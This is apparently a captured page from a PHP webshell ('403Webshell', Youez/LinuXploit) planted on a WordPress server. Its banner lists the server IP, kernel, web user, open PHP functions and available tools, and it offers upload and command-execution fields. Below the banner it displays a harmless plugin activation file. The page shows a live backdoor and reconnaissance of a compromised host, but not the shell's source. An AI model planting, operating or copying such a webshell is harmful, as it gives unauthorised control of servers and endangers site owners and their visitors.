403Webshell
Server IP : 45.94.215.241  /  Your IP : 216.73.216.122
Web Server : Apache/2.4.66 (Ubuntu)
System : Linux srv2937474766 7.0.0-28-generic #28-Ubuntu SMP PREEMPT_DYNAMIC Sun Jun 21 01:01:36 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/negarestan/wp-content/plugins/bulk-featured-image/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/negarestan/wp-content/plugins/bulk-featured-image/includes/activator.php
<?php
/**
 * Fired during plugin activation.
 *
 * This class defines all code necessary to run during the plugin's activation.
 *
 * @since      1.0.0
 */

if( !class_exists('BFIE_Activator')) {

	class BFIE_Activator{

		public static function activate() {

            $setting_key = 'bfi_settings';
            $bfi_settings = get_option( $setting_key );
            $bfi_settings = !empty( $bfi_settings ) ? $bfi_settings : array();

            if( empty( $bfi_settings ) ) {
                $settings = array(
                    'general' => array(
                        'bfi_per_page' => BFIE_PER_PAGE,
                        'bfi_posttyps' => array('post', 'page'),
                        'enable_default_image' => array('post', 'page'),
                    ),
                );

                update_option('bfi_settings', $settings);
            }

			set_transient( '_bfie_activation_redirect', true, 30 );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit